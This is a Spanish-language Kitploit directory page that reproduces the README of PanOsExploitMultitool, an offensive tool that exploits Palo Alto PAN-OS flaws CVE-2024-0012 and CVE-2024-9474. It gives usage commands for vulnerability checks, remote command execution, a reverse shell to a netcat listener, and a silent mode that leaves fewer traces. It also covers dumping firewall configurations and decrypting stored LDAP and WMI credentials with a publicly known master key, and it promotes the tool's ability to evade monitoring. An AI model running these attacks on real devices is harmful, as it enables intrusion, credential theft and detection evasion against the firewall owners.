Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PanOsExploitMultitool — Herramienta múltiple de explotación y post-explotación para sistemas Palo Alto PAN-OS afectados por las vulnerabilidades CVE-2024-0012 y CVE-2024-9474 | Kitploit
Herramientas/GitHubGitHub/regent8sh/panosexploitmultitool
Herramientas de Cifrado/DescifradoAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
regent8sh/panosexploitmultitool

PanOsExploitMultitool

Herramienta múltiple de explotación y post-explotación para sistemas Palo Alto PAN-OS afectados por las vulnerabilidades CVE-2024-0012 y CVE-2024-9474

Ver Repositorio
61hace 2 mesesAún no revisado

PanOsExploitMultitool

Herramienta múltiple de explotación y post-explotación para sistemas Palo Alto PAN-OS afectados por las vulnerabilidades CVE-2024-0012 y CVE-2024-9474

Durante la explotación temprana de las vulnerabilidades de ejecución remota de código CVE-2024-0012 y CVE-2024-9474, obtuve un shell y comencé a identificar archivos de configuración que incluían cadenas extrañas en varios campos de contraseñas. Como claramente no eran formatos de hash comunes, mi equipo y yo comenzamos a investigar y rápidamente descubrimos un aviso de seguridad en el sitio web de ThreatLabs, que mencionaba que las credenciales de PAN-OS se cifran (¿se cifraban?) por defecto utilizando una clave maestra conocida públicamente. Aunque esta clave maestra se puede cambiar en la configuración del dispositivo, he encontrado que la clave maestra predeterminada se ha utilizado en cada instancia que he encontrado de estas vulnerabilidades. Al diseñar esta herramienta, mi objetivo es construir una forma fácil de explotar estas vulnerabilidades, realizar post-explotación y recolección de credenciales, e incluso recuperar credenciales en texto plano completamente a través de tráfico HTTPS cifrado, sin necesidad de conexiones persistentes que puedan ser detectadas por soluciones de monitoreo de red y tráfico.

Actualmente admite la recuperación y descifrado automático de credenciales LDAP y WMI, aunque he visto casos raros en los que cadenas secretas están cifradas dentro de archivos de configuración con nombres de campo XML no estándar. Actualmente estoy trabajando en identificar las causas de estos casos únicos para poder garantizar soporte completo. Tenga en cuenta que esto aún está en desarrollo.

Installation

Antes de usar, asegúrese de que todas las dependencias necesarias estén instaladas, usando un comando como:

root@kitploit:~
pip3 install -r requirements.txt

Check

El comando "check" le permitirá verificar si un objetivo remoto es vulnerable a CVE-2024-0012. Cuando se dirige a un host remoto por su dirección IP, asegúrese de usar el argumento --no-verify. Ejemplo:

root@kitploit:~
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

image

Command

El comando "command" le permitirá explotar CVE-2024-0012 y CVE-2024-9474 en un objetivo remoto para ejecutar un comando suministrado manualmente y recuperar la salida del comando resultante a través de la interfaz web. Similar a los comandos dump y shell, el comando proporcionado se divide en secciones lo suficientemente pequeñas como para caber dentro de la vulnerabilidad de inyección de comandos de CVE-2024-9474, se escribe en un archivo shell temporal en un directorio escribible (por defecto /var/tmp/), y luego se ejecuta en el objetivo. La salida se escribe en un archivo PHP temporal bajo /var/appweb/htdocs{remote_dir}, se recupera a través de HTTPS, se imprime en la consola y se limpia automáticamente a menos que se proporcione el argumento --no-cleanup. Nuevamente, no olvide --no-verify cuando sea necesario.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
image

Silent Command

El indicador opcional --silentcommand ejecuta el comando suministrado utilizando el mismo método de fragmentación e inyección que arriba, pero sin redirigir la salida a un archivo accesible por web ni realizar ninguna solicitud de recuperación. Esto es útil para acciones de "disparar y olvidar" donde no se necesita la salida, o donde minimizar el número de solicitudes web y archivos creados en el objetivo es una prioridad. Debido a que no se escribe ningún archivo de salida en la ruta web, la limpieza solo elimina los archivos de fragmentos de payload temporales del directorio escribible — no hay un archivo .php de salida que limpiar.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand

Shell

El comando "shell" le permitirá explotar CVE-2024-0012 y CVE-2024-9474 en un objetivo remoto para recibir una reverse shell en el host remoto. Básicamente, este comando crea un payload de reverse shell bash estándar, lo codifica en base64, fragmenta el blob codificado en base64 en secciones lo suficientemente pequeñas como para caber dentro de la vulnerabilidad de inyección de comandos de CVE-2024-9474, luego ejecuta comandos para hacer echo de cada fragmento en archivos en un directorio escribible (por defecto /var/tmp/). Una vez que estos fragmentos están completamente almacenados, se amalgaman en un solo archivo shell y luego se ejecutan en el host, que debería conectarse de vuelta a un listener netcat separado (nc -nvlp {PORT}). Tenga en cuenta que actualmente el tiempo de espera causado por la conexión persistente de la reverse shell impide que se realice la limpieza de archivos, por lo que deberá anotar el nombre de archivo aleatorio impreso al inicio de la ejecución de la herramienta y limpiarlo desde las ubicaciones {writable_dir} y /var/appweb/htdocs{remote_dir}. Arreglaré esto en la próxima versión, pero aún no lo he hecho. Nuevamente, no olvide --no-verify cuando sea necesario.

root@kitploit:~
nc -nvlp {PORT}

python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

image image

Dump

Este fue mi objetivo principal para este proyecto, y la razón principal por la que quería construir esta herramienta. Dado que la mayoría de los writeups y herramientas relacionadas con estas vulnerabilidades se han centrado en la ejecución remota de código, no he encontrado muchas instancias de personas que detallen pasos útiles de post-explotación más allá de ese punto. Con el comando dump, no solo puede recuperar y descifrar credenciales de forma remota, sino que puede hacerlo completamente a través de un pequeño número de solicitudes web cifradas (HTTPS) sin necesidad de conexiones persistentes. Dado que los dispositivos PAN-OS tienen significativamente menos probabilidades de tener algún tipo de soluciones EDR/MDR/IDR/XDR/?DR, esto es particularmente efectivo en operaciones de equipo rojo.

El comando dump sigue un método de fragmentación y ejecución similar al comando shell, pero en lugar de iniciar una reverse shell, recupera credenciales cifradas de los archivos de configuración del dispositivo (ubicados en /opt/pancfg/mgmt/saved-configs/) y luego descifra automáticamente las contraseñas identificadas utilizando la clave maestra pública conocida. El comando dump también limpiará cualquier archivo creado al final del descifrado, a menos que incluya el argumento --no-cleanup. Como siempre, no olvide --no-verify cuando sea necesario.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
image

Adicionalmente, he agregado un argumento opcional --full-running-config, que se puede usar para recuperar todo el contenido XML del archivo de configuración en ejecución actual y guardarlo en un archivo local. El archivo guardado se nombra con el formato running-config.{TARGET}.{TIMESTAMP}.xml (por ejemplo, running-config.192.168.1.1.20260516_143022.xml), donde la marca de tiempo refleja el momento de la recuperación. Esto evita que los volcados de configuración anteriores se sobrescriban al apuntar al mismo dispositivo varias veces. Si bien recomiendo verificar más allá de esto, ya que he visto varios casos en los que archivos de configuración anteriores/otros contenían credenciales cifradas únicas, esto puede ser una buena manera de buscar credenciales adicionales que podrían no haber sido detectadas y descifradas automáticamente. Además, puede realizar el procesamiento local de cualquier archivo de configuración XML local utilizando el comando Local, que se detalla a continuación.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
image

Local

El comando local es muy básico, y su caso de uso es principalmente cuando recupera un archivo de configuración XML completo (como con el argumento --full-running-config del comando dump), o ya ha obtenido un shell en el dispositivo PAN-OS y ha copiado o impreso el contenido de los archivos de configuración XML del dispositivo (ubicados en /opt/pancfg/mgmt/saved-configs/). Realizará la misma lógica y descifrado automático de credenciales, pero a partir de un archivo local proporcionado. Admite todos los tipos de credenciales cifradas, incluidas las credenciales LDAP y WMI, en cualquier nombre de etiqueta XML.

root@kitploit:~
python3 PanOsExploitMultitool.py local -f {FILE}

image

Decrypt

Finalmente, el comando decrypt le permitirá descifrar cadenas sin procesar utilizando la clave maestra pública. Esto es útil en escenarios únicos, como cuando se identifican cadenas de credenciales cifradas en un archivo de configuración anterior pero no hay nombres de usuario inmediatamente antes, o cuando desea verificar manualmente una cadena de credenciales extraída por otro método. Estas cadenas se pueden ingresar directamente en la terminal, y se pueden aceptar en el formato completo -AQ..........==, o solo el blob codificado en base64 final.

root@kitploit:~
python3 PanOsExploitMultitool.py decrypt

image

References

Consulte los writeups, módulos y avisos a continuación que se utilizaron en la investigación y desarrollo de este proyecto.

"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb

"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/

Descargar herramienta